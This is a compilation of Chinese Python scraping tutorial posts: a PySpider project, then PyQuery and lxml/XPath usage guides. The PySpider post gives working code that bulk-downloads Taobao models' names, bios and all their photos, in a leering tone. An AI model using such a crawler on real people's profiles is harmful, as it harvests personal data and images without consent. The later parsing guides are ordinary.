    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    审时度势

    PySpider 是一个我个人认为非常方便并且功能强大的爬虫框架,支持多线程爬取、JS 动态解析,提供了可操作界面、出错重试、定时爬取等等的功能,使用非常人性化。 本篇内容通过跟我做一个好玩的 PySpider 项目,来理解 PySpider 的运行流程。

    招兵买马

    具体的安装过程请查看本节讲述 安装 嗯,安装好了之后就与我大干一番吧。

    鸿鹄之志

    我之前写过的一篇文章 抓取淘宝 MM 照片 由于网页改版,爬取过程中需要的 URL 需要 JS 动态解析生成,所以之前用的 urllib2 不能继续使用了,在这里我们利用 PySpider 重新实现一下。 所以现在我们需要做的是抓取淘宝 MM 的个人信息和图片存储到本地。

    审时度势

    爬取目标网站:https://mm.taobao.com/json/request_top_list.htm?page=1,大家打开之后可以看到许多淘宝 MM 的列表。 列表有多少? https://mm.taobao.com/json/request_top_list.htm?page=10000,第 10000 页都有,看你想要多少。我什么也不知道。 随机点击一位 MM 的姓名,可以看到她的基本资料。 QQ20160326-4@2x 可以看到图中有一个个性域名,我们复制到浏览器打开。mm.taobao.com/tyy6160 QQ20160326-5@2x 嗯,往下拖,海量的 MM 图片都在这里了,怎么办你懂得,我们要把她们的照片和个人信息都存下来。 P.S. 注意图中进度条!你猜有多少图片~

    利剑出鞘

    安装成功之后,跟我一步步地完成一个网站的抓取,你就会明白 PySpider 的基本用法了。 命令行下执行

    1
    pyspider all

    这句命令的意思是,运行 pyspider 并 启动它的所有组件。 E6632A0A-9067-4B97-93A2-5DEF23FB4CD8 可以发现程序已经正常启动,并在 5000 这个端口运行。

    一触即发

    接下来在浏览器中输入 http://localhost:5000,可以看到 PySpider 的主界面,点击右下角的 Create,命名为 taobaomm,当然名称你可以随意取,继续点击 Create。 QQ20160325-0@2x 这样我们会进入到一个爬取操作的页面。 QQ20160325-1@2x 整个页面分为两栏,左边是爬取页面预览区域,右边是代码编写区域。下面对区块进行说明: 左侧绿色区域:这个请求对应的 JSON 变量,在 PySpider 中,其实每个请求都有与之对应的 JSON 变量,包括回调函数,方法名,请求链接,请求数据等等。 绿色区域右上角 Run:点击右上角的 run 按钮,就会执行这个请求,可以在左边的白色区域出现请求的结果。 左侧 enable css selector helper: 抓取页面之后,点击此按钮,可以方便地获取页面中某个元素的 CSS 选择器。 左侧 web: 即抓取的页面的实时预览图。 左侧 html: 抓取页面的 HTML 代码。 左侧 follows: 如果当前抓取方法中又新建了爬取请求,那么接下来的请求就会出现在 follows 里。 左侧 messages: 爬取过程中输出的一些信息。 右侧代码区域: 你可以在右侧区域书写代码,并点击右上角的 Save 按钮保存。 右侧 WebDAV Mode: 打开调试模式,左侧最大化,便于观察调试。

    乘胜追击

    依然是上一节的那个网址,https://mm.taobao.com/json/request_top_list.htm?page=1,其中 page 参数代表页码。所以我们暂时抓取前 30 页。页码到最后可以随意调整。 首先我们定义基地址,然后定义爬取的页码和总页码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pyspider.libs.base_handler import *


    class Handler(BaseHandler):
    crawl_config = {
    }

    def __init__(self):
    self.base_url = 'https://mm.taobao.com/json/request_top_list.htm?page='
    self.page_num = 1
    self.total_num = 30

    @every(minutes=24 * 60)
    def on_start(self):
    while self.page_num <= self.total_num:
    url = self.base_url + str(self.page_num)
    print url
    self.crawl(url, callback=self.index_page)
    self.page_num += 1

    @config(age=10 * 24 * 60 * 60)
    def index_page(self, response):
    for each in response.doc('a[href^="http"]').items():
    self.crawl(each.attr.href, callback=self.detail_page)

    @config(priority=2)
    def detail_page(self, response):
    return {
    "url": response.url,
    "title": response.doc('title').text(),
    }

    点击 save 保存代码,然后点击左边的 run,运行代码。 QQ20160325-2@2x 运行后我们会发现 follows 出现了 30 这个数字,说明我们接下来有 30 个新请求,点击可查看所有爬取列表。另外控制台也有输出,将所有要爬取的 URL 打印了出来。 然后我们点击左侧任意一个绿色箭头,可以继续爬取这个页面。例如点击第一个 URL,来爬取这个 URL QQ20160325-3@2x 点击之后,再查看下方的 web 页面,可以预览实时页面,这个页面被我们爬取了下来,并且回调到 index_page 函数来处理,目前 index_page 函数我们还没有处理,所以是继续构件了所有的链接请求。 QQ20160325-4@2x 好,接下来我们怎么办?当然是进入到 MM 到个人页面去爬取了。

    如火如荼

    爬取到了 MM 的列表,接下来就要进入到 MM 详情页了,修改 index_page 方法。

    1
    2
    3
    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page)

    其中 response 就是刚才爬取的列表页,response 其实就相当于列表页的 html 代码,利用 doc 函数,其实是调用了 PyQuery,用 CSS 选择器得到每一个 MM 的链接,然后重新发起新的请求。 比如,我们这里拿到的 each.attr.href 可能是 mm.taobao.com/self/model_card.htm?user_id=687471686,在这里继续调用了 crawl 方法,代表继续抓取这个链接的详情。

    1
    self.crawl(each.attr.href, callback=self.detail_page)

    然后回调函数就是 detail_page,爬取的结果会作为 response 变量传过去。detail_page 接到这个变量继续下面的分析。 QQ20160325-7@2x 好,我们继续点击 run 按钮,开始下一个页面的爬取。得到的结果是这样的。 QQ20160325-5@2x 哦,有些页面没有加载出来,这是为什么? 在之前的文章说过,这个页面比较特殊,右边的页面使用 JS 渲染生成的,而普通的抓取是不能得到 JS 渲染后的页面的,这可麻烦了。 然而,幸运的是,PySpider 提供了动态解析 JS 的机制。 友情提示:可能有的小伙伴不知道 PhantomJS,可以参考 爬虫 JS 动态解析 因为我们在前面装好了 PhantomJS,所以,这时候就轮到它来出场了。在最开始运行 PySpider 的时候,使用了pyspider all命令,这个命令是把 PySpider 所有的组件启动起来,其中也包括 PhantomJS。 所以我们代码怎么改呢?很简单。

    1
    2
    3
    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page, fetch_type='js')

    只是简单地加了一个 fetch_type=’js’,点击绿色的返回箭头,重新运行一下。 可以发现,页面已经被我们成功加载出来了,简直不能更帅! QQ20160325-9@2x 看下面的个性域名,所有我们需要的 MM 图片都在那里面了,所以我们需要继续抓取这个页面。

    胜利在望

    好,继续修改 detail_page 方法,然后增加一个 domain_page 方法,用来处理每个 MM 的个性域名。

    1
    2
    3
    4
    5
    6
    7
    def detail_page(self, response):
    domain = 'https:' + response.doc('.mm-p-domain-info li > span').text()
    print domain
    self.crawl(domain, callback=self.domain_page)

    def domain_page(self, response):
    pass

    好,继续重新 run,预览一下页面,终于,我们看到了 MM 的所有图片。 QQ20160326-0@2x 嗯,你懂得!

    只欠东风

    好,照片都有了,那么我们就偷偷地下载下来吧~ 完善 domain_page 代码,实现保存简介和遍历保存图片的方法。 在这里,PySpider 有一个特点,所有的 request 都会保存到一个队列中,并具有去重和自动重试机制。所以,我们最好的解决方法是,把每张图片的请求都写成一个 request,然后成功后用文件写入即可,这样会避免图片加载不全的问题。 曾经在之前文章写过图片下载和文件夹创建的过程,在这里就不多赘述原理了,直接上写好的工具类,后面会有完整代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import os

    class Deal:
    def __init__(self):
    self.path = DIR_PATH
    if not self.path.endswith('/'):
    self.path = self.path + '/'
    if not os.path.exists(self.path):
    os.makedirs(self.path)

    def mkDir(self, path):
    path = path.strip()
    dir_path = self.path + path
    exists = os.path.exists(dir_path)
    if not exists:
    os.makedirs(dir_path)
    return dir_path
    else:
    return dir_path

    def saveImg(self, content, path):
    f = open(path, 'wb')
    f.write(content)
    f.close()

    def saveBrief(self, content, dir_path, name):
    file_name = dir_path + "/" + name + ".txt"
    f = open(file_name, "w+")
    f.write(content.encode('utf-8'))

    def getExtension(self, url):
    extension = url.split('.')[-1]
    return extension

    这里面包含了四个方法。

    mkDir:创建文件夹,用来创建 MM 名字对应的文件夹。 saveBrief: 保存简介,保存 MM 的文字简介。 saveImg: 传入图片二进制流以及保存路径,存储图片。 getExtension: 获得链接的后缀名,通过图片 URL 获得。

    然后在 domain_page 中具体实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    def domain_page(self, response):
    name = response.doc('.mm-p-model-info-left-top dd > a').text()
    dir_path = self.deal.mkDir(name)
    brief = response.doc('.mm-aixiu-content').text()
    if dir_path:
    imgs = response.doc('.mm-aixiu-content img').items()
    count = 1
    self.deal.saveBrief(brief, dir_path, name)
    for img in imgs:
    url = img.attr.src
    if url:
    extension = self.deal.getExtension(url)
    file_name = name + str(count) + '.' + extension
    count += 1
    self.crawl(img.attr.src, callback=self.save_img,
    save={'dir_path': dir_path, 'file_name': file_name})

    def save_img(self, response):
    content = response.content
    dir_path = response.save['dir_path']
    file_name = response.save['file_name']
    file_path = dir_path + '/' + file_name
    self.deal.saveImg(content, file_path)

    以上方法首先获取了页面的所有文字,然后调用了 saveBrief 方法存储简介。 然后遍历了 MM 所有的图片,并通过链接获取后缀名,和 MM 的姓名以及自增计数组合成一个新的文件名,调用 saveImg 方法保存图片。

    炉火纯青

    好,基本的东西都写好了。 接下来。继续完善一下代码。第一版本完成。 版本一功能:按照淘宝 MM 姓名分文件夹,存储 MM 的 txt 文本简介以及所有美图至本地。 可配置项:

    • PAGE_START: 列表开始页码
    • PAGE_END: 列表结束页码
    • DIR_PATH: 资源保存路径
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    #!/usr/bin/env python
    # -*- encoding: utf-8 -*-
    # Created on 2016-03-25 00:59:45
    # Project: taobaomm

    from pyspider.libs.base_handler import *

    PAGE_START = 1
    PAGE_END = 30
    DIR_PATH = '/var/py/mm'


    class Handler(BaseHandler):
    crawl_config = {
    }

    def __init__(self):
    self.base_url = 'https://mm.taobao.com/json/request_top_list.htm?page='
    self.page_num = PAGE_START
    self.total_num = PAGE_END
    self.deal = Deal()

    def on_start(self):
    while self.page_num <= self.total_num:
    url = self.base_url + str(self.page_num)
    self.crawl(url, callback=self.index_page)
    self.page_num += 1

    def index_page(self, response):
    for each in response.doc('.lady-name').items():
    self.crawl(each.attr.href, callback=self.detail_page, fetch_type='js')

    def detail_page(self, response):
    domain = response.doc('.mm-p-domain-info li > span').text()
    if domain:
    page_url = 'https:' + domain
    self.crawl(page_url, callback=self.domain_page)

    def domain_page(self, response):
    name = response.doc('.mm-p-model-info-left-top dd > a').text()
    dir_path = self.deal.mkDir(name)
    brief = response.doc('.mm-aixiu-content').text()
    if dir_path:
    imgs = response.doc('.mm-aixiu-content img').items()
    count = 1
    self.deal.saveBrief(brief, dir_path, name)
    for img in imgs:
    url = img.attr.src
    if url:
    extension = self.deal.getExtension(url)
    file_name = name + str(count) + '.' + extension
    count += 1
    self.crawl(img.attr.src, callback=self.save_img,
    save={'dir_path': dir_path, 'file_name': file_name})

    def save_img(self, response):
    content = response.content
    dir_path = response.save['dir_path']
    file_name = response.save['file_name']
    file_path = dir_path + '/' + file_name
    self.deal.saveImg(content, file_path)


    import os

    class Deal:
    def __init__(self):
    self.path = DIR_PATH
    if not self.path.endswith('/'):
    self.path = self.path + '/'
    if not os.path.exists(self.path):
    os.makedirs(self.path)

    def mkDir(self, path):
    path = path.strip()
    dir_path = self.path + path
    exists = os.path.exists(dir_path)
    if not exists:
    os.makedirs(dir_path)
    return dir_path
    else:
    return dir_path

    def saveImg(self, content, path):
    f = open(path, 'wb')
    f.write(content)
    f.close()

    def saveBrief(self, content, dir_path, name):
    file_name = dir_path + "/" + name + ".txt"
    f = open(file_name, "w+")
    f.write(content.encode('utf-8'))

    def getExtension(self, url):
    extension = url.split('.')[-1]
    return extension

    粘贴到你的 PySpider 中运行吧~ 其中有一些知识点,我会在后面作详细的用法总结。大家可以先体会一下代码。 QQ20160326-1@2x 保存之后,点击下方的 run,你会发现,海量的 MM 图片已经涌入你的电脑啦~ QQ20160326-2@2x QQ20160326-3@2x 需要解释?需要我也不解释!

    项目代码

    TaobaoMM - GitHub

    尚方宝剑

    如果想了解 PySpider 的更多内容,可以查看官方文档。 官方文档

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    你是否觉得 XPath 的用法多少有点晦涩难记呢? 你是否觉得 BeautifulSoup 的语法多少有些悭吝难懂呢? 你是否甚至还在苦苦研究正则表达式却因为少些了一个点而抓狂呢? 你是否已经有了一些前端基础了解选择器却与另外一些奇怪的选择器语法混淆了呢? 嗯,那么,前端大大们的福音来了,PyQuery 来了,乍听名字,你一定联想到了 jQuery,如果你对 jQuery 熟悉,那么 PyQuery 来解析文档就是不二之选!包括我在内! PyQuery 是 Python 仿照 jQuery 的严格实现。语法与 jQuery 几乎完全相同,所以不用再去费心去记一些奇怪的方法了。 天下竟然有这等好事?我都等不及了!

    安装

    有这等神器还不赶紧安装了!来!

    1
    pip install pyquery

    还是原来的配方,还是熟悉的味道。

    参考来源

    本文内容参考官方文档,更多内容,大家可以去官方文档学习,毕竟那里才是最原汁原味的。 目前版本 1.2.4 (2016/3/24) 官方文档

    简介

    pyquery allows you to make jquery queries on xml documents. The API is as much as possible the similar to jquery. pyquery uses lxml for fast xml and html manipulation. This is not (or at least not yet) a library to produce or interact with javascript code. I just liked the jquery API and I missed it in python so I told myself “Hey let’s make jquery in python”. This is the result. It can be used for many purposes, one idea that I might try in the future is to use it for templating with pure http templates that you modify using pyquery. I can also be used for web scrapping or for theming applications with Deliverance.

    pyquery 可让你用 jQuery 的语法来对 xml 进行操作。这I和 jQuery 十分类似。如果利用 lxml,pyquery 对 xml 和 html 的处理将更快。 这个库不是(至少还不是)一个可以和 JavaScript交互的代码库,它只是非常像 jQuery API 而已。

    初始化

    在这里介绍四种初始化方式。 (1)直接字符串

    1
    2
    from pyquery import PyQuery as pq
    doc = pq("<html></html>")

    pq 参数可以直接传入 HTML 代码,doc 现在就相当于 jQuery 里面的 $ 符号了。 (2)lxml.etree

    1
    2
    from lxml import etree
    doc = pq(etree.fromstring("<html></html>"))

    可以首先用 lxml 的 etree 处理一下代码,这样如果你的 HTML 代码出现一些不完整或者疏漏,都会自动转化为完整清晰结构的 HTML代码。 (3)直接传URL

    1
    2
    from pyquery import PyQuery as pq
    doc = pq('http://www.baidu.com')

    这里就像直接请求了一个网页一样,类似用 urllib2 来直接请求这个链接,得到 HTML 代码。 (4)传文件

    1
    2
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')

    可以直接传某个路径的文件名。

    快速体验

    现在我们以本地文件为例,传入一个名字为 hello.html 的文件,文件内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <div>
    <ul>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    编写如下程序

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')
    print doc.html()
    print type(doc)
    li = doc('li')
    print type(li)
    print li.text()

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
        <ul>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>

    <class 'pyquery.pyquery.PyQuery'>
    <class 'pyquery.pyquery.PyQuery'>
    first item second item third item fourth item fifth item

    看,回忆一下 jQuery 的语法,是不是运行结果都是一样的呢? 在这里我们注意到了一点,PyQuery 初始化之后,返回类型是 PyQuery,利用了选择器筛选一次之后,返回结果的类型依然还是 PyQuery,这简直和 jQuery 如出一辙,不能更赞!然而想一下 BeautifulSoup 和 XPath 返回的是什么?列表!一种不能再进行二次筛选(在这里指依然利用 BeautifulSoup 或者 XPath 语法)的对象! 然而比比 PyQuery,哦我简直太爱它了!

    属性操作

    你可以完全按照 jQuery 的语法来进行 PyQuery 的操作。

    1
    2
    3
    4
    5
    6
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.attr("id")
    print p.attr("id", "plop")
    print p.attr("id", "hello")

    运行结果

    1
    2
    3
    hello
    <p id="plop" class="hello"/>
    <p id="hello" class="hello"/>

    再来一发

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.addClass('beauty')
    print p.removeClass('hello')
    print p.css('font-size', '16px')
    print p.css({'background-color': 'yellow'})

    运行结果

    1
    2
    3
    4
    <p id="hello" class="hello beauty"/>
    <p id="hello" class="beauty"/>
    <p id="hello" class="beauty" style="font-size: 16px"/>
    <p id="hello" class="beauty" style="font-size: 16px; background-color: yellow"/>

    依旧是那么优雅与自信! 在这里我们发现了,这是一连串的操作,而 p 是一直在原来的结果上变化的。 因此执行上述操作之后,p 本身也发生了变化。

    DOM操作

    同样的原汁原味的 jQuery 语法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pyquery import PyQuery as pq

    p = pq('<p id="hello" class="hello"></p>')('p')
    print p.append(' check out <a href="http://reddit.com/r/python"><span>reddit</span></a>')
    print p.prepend('Oh yes!')
    d = pq('<div class="wrap"><div id="test"><a href="http://cuiqingcai.com">Germy</a></div></div>')
    p.prependTo(d('#test'))
    print p
    print d
    d.empty()
    print d

    运行结果

    1
    2
    3
    4
    5
    <p id="hello" class="hello"> check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p>
    <div class="wrap"><div id="test"><p id="hello" class="hello">Oh yes! check out <a href="http://reddit.com/r/python"><span>reddit</span></a></p><a href="http://cuiqingcai.com">Germy</a></div></div>
    <div class="wrap"/>

    这不需要多解释了吧。 DOM 操作也是与 jQuery 如出一辙。

    遍历

    遍历用到 items 方法返回对象列表,或者用 lambda

    1
    2
    3
    4
    5
    6
    7
    from pyquery import PyQuery as pq
    doc = pq(filename='hello.html')
    lis = doc('li')
    for li in lis.items():
    print li.html()

    print lis.each(lambda e: e)

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    first item
    <a href="link2.html">second item</a>
    <a href="link3.html"><span class="bold">third item</span></a>
    <a href="link4.html">fourth item</a>
    <a href="link5.html">fifth item</a>
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>

    不过最常用的还是 items 方法

    网页请求

    PyQuery 本身还有网页请求功能,而且会把请求下来的网页代码转为 PyQuery 对象。

    1
    2
    3
    from pyquery import PyQuery as pq
    print pq('http://cuiqingcai.com/', headers={'user-agent': 'pyquery'})
    print pq('http://httpbin.org/post', {'foo': 'bar'}, method='post', verify=True)

    感受一下,GET,POST,样样通。

    Ajax

    PyQuery 同样支持 Ajax 操作,带有 get 和 post 方法,不过不常用,一般我们不会用 PyQuery 来做网络请求,仅仅是用来解析。 PyQueryAjax

    API

    最后少不了的,API大放送。 API 原汁原味最全的API,都在里面了!如果你对 jQuery 语法不熟,强烈建议先学习下 jQuery,再回来看 PyQuery,你会感到异常亲切!

    结语

    用完了 PyQuery,我已经深深爱上了他! 你呢?

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    原文

    前言

    前面我们介绍了 BeautifulSoup 的用法,这个已经是非常强大的库了,不过还有一些比较流行的解析库,例如 lxml,使用的是 Xpath 语法,同样是效率比较高的解析方法。如果大家对 BeautifulSoup 使用不太习惯的话,可以尝试下 Xpath。

    参考来源

    lxml用法源自 lxml python 官方文档,更多内容请直接参阅官方文档,本文对其进行翻译与整理。 lxml XPath语法参考 w3school w3school

    视频资源

    如果你对 XPath 不熟悉的话,可以看下这个视频资源: web端功能自动化定位元素

    安装

    1
    pip install lxml

    利用 pip 安装即可

    XPath语法

    XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

    节点关系

    (1)父(Parent) 每个元素以及属性都有一个父。 在下面的例子中,book 元素是 title、author、year 以及 price 元素的父:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (2)子(Children) 元素节点可有零个、一个或多个子。 在下面的例子中,title、author、year 以及 price 元素都是 book 元素的子:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (3)同胞(Sibling) 拥有相同的父的节点 在下面的例子中,title、author、year 以及 price 元素都是同胞:

    1
    2
    3
    4
    5
    6
    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    (4)先辈(Ancestor) 某节点的父、父的父,等等。 在下面的例子中,title 元素的先辈是 book 元素和 bookstore 元素:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <bookstore>

    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    </bookstore>

    (5)后代(Descendant) 某个节点的子,子的子,等等。 在下面的例子中,bookstore 的后代是 book、title、author、year 以及 price 元素:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <bookstore>

    <book>
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
    </book>

    </bookstore>

    选取节点

    XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。

    下面列出了最有用的路径表达式:

    表达式

    描述

    nodename

    选取此节点的所有子节点。

    /

    从根节点选取。

    //

    从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。

    .

    选取当前节点。

    ..

    选取当前节点的父节点。

    @

    选取属性。

    实例 在下面的表格中,我们已列出了一些路径表达式以及表达式的结果:

    路径表达式

    结果

    bookstore

    选取 bookstore 元素的所有子节点。

    /bookstore

    选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!

    bookstore/book

    选取属于 bookstore 的子元素的所有 book 元素。

    //book

    选取所有 book 子元素,而不管它们在文档中的位置。

    bookstore//book

    选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。

    //@lang

    选取名为 lang 的所有属性。

    谓语(Predicates)

    谓语用来查找某个特定的节点或者包含某个指定的值的节点。 谓语被嵌在方括号中。 实例 在下面的表格中,我们列出了带有谓语的一些路径表达式,以及表达式的结果:

    路径表达式

    结果

    /bookstore/book[1]

    选取属于 bookstore 子元素的第一个 book 元素。

    /bookstore/book[last()]

    选取属于 bookstore 子元素的最后一个 book 元素。

    /bookstore/book[last()-1]

    选取属于 bookstore 子元素的倒数第二个 book 元素。

    /bookstore/book[position()<3]

    选取最前面的两个属于 bookstore 元素的子元素的 book 元素。

    //title[@lang]

    选取所有拥有名为 lang 的属性的 title 元素。

    //title[@lang=’eng’]

    选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性。

    /bookstore/book[price>35.00]

    选取 bookstore 元素的所有 book 元素,且其中的 price 元素的值须大于 35.00。

    /bookstore/book[price>35.00]/title

    选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00。

    选取未知节点

    XPath 通配符可用来选取未知的 XML 元素。

    通配符

    描述

    *

    匹配任何元素节点。

    @*

    匹配任何属性节点。

    node()

    匹配任何类型的节点。

    实例 在下面的表格中,我们列出了一些路径表达式,以及这些表达式的结果:

    路径表达式

    结果

    /bookstore/*

    选取 bookstore 元素的所有子元素。

    //*

    选取文档中的所有元素。

    //title[@*]

    选取所有带有属性的 title 元素。

    选取若干路径

    通过在路径表达式中使用“|”运算符,您可以选取若干个路径。 实例 在下面的表格中,我们列出了一些路径表达式,以及这些表达式的结果:

    路径表达式

    结果

    //book/title | //book/price

    选取 book 元素的所有 title 和 price 元素。

    //title | //price

    选取文档中的所有 title 和 price 元素。

    /bookstore/book/title | //price

    选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。

    XPath 运算符

    下面列出了可用在 XPath 表达式中的运算符:

    运算符

    描述

    实例

    返回值

    |

    计算两个节点集

    //book | //cd

    返回所有拥有 book 和 cd 元素的节点集

    +

    加法

    6 + 4

    10

    -

    减法

    6 - 4

    2

    *

    乘法

    6 * 4

    24

    div

    除法

    8 div 4

    2

    \=

    等于

    price=9.80

    如果 price 是 9.80,则返回 true。如果 price 是 9.90,则返回 false。

    !=

    不等于

    price!=9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.80,则返回 false。

    <

    小于

    price<9.80

    如果 price 是 9.00,则返回 true。如果 price 是 9.90,则返回 false。

    <=

    小于或等于

    price<=9.80

    如果 price 是 9.00,则返回 true。如果 price 是 9.90,则返回 false。

    >

    大于

    price>9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.80,则返回 false。

    >=

    大于或等于

    price>=9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.70,则返回 false。

    or

    price=9.80 or price=9.70

    如果 price 是 9.80,则返回 true。如果 price 是 9.50,则返回 false。

    and

    price>9.00 and price<9.90

    如果 price 是 9.80,则返回 true。如果 price 是 8.50,则返回 false。

    mod

    计算除法的余数

    5 mod 2

    1

    lxml用法

    初步使用

    首先我们利用它来解析 HTML 代码,先来一个小例子来感受一下它的基本用法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from lxml import etree
    text = '''
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </ul>
    </div>
    '''
    html = etree.HTML(text)
    result = etree.tostring(html)
    print(result)

    首先我们使用 lxml 的 etree 库,然后利用 etree.HTML 初始化,然后我们将其打印出来。 其中,这里体现了 lxml 的一个非常实用的功能就是自动修正 html 代码,大家应该注意到了,最后一个 li 标签,其实我把尾标签删掉了,是不闭合的。不过,lxml 因为继承了 libxml2 的特性,具有自动修正 HTML 代码的功能。 所以输出结果是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <html><body>
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    </body></html>

